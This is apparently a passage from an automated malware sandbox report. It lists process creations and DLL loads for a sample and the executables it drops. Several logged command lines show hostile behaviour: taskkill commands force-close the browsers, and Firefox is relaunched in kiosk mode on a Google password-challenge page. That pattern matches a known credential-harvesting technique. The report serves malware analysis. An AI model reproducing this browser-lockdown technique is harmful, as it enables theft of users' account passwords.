Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d661e13d-5d6b-45c4-a255-7549bd7ee9b7} 8000 "\\.\pipe\gecko-crash-server-pipe.8000" 1fd7236d710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1824 --field-trial-handle=2012,i,11153109212737079239,13251433819729760146,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1964,i,9859859316029743068,17150694604793009132,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: dpapi.dll
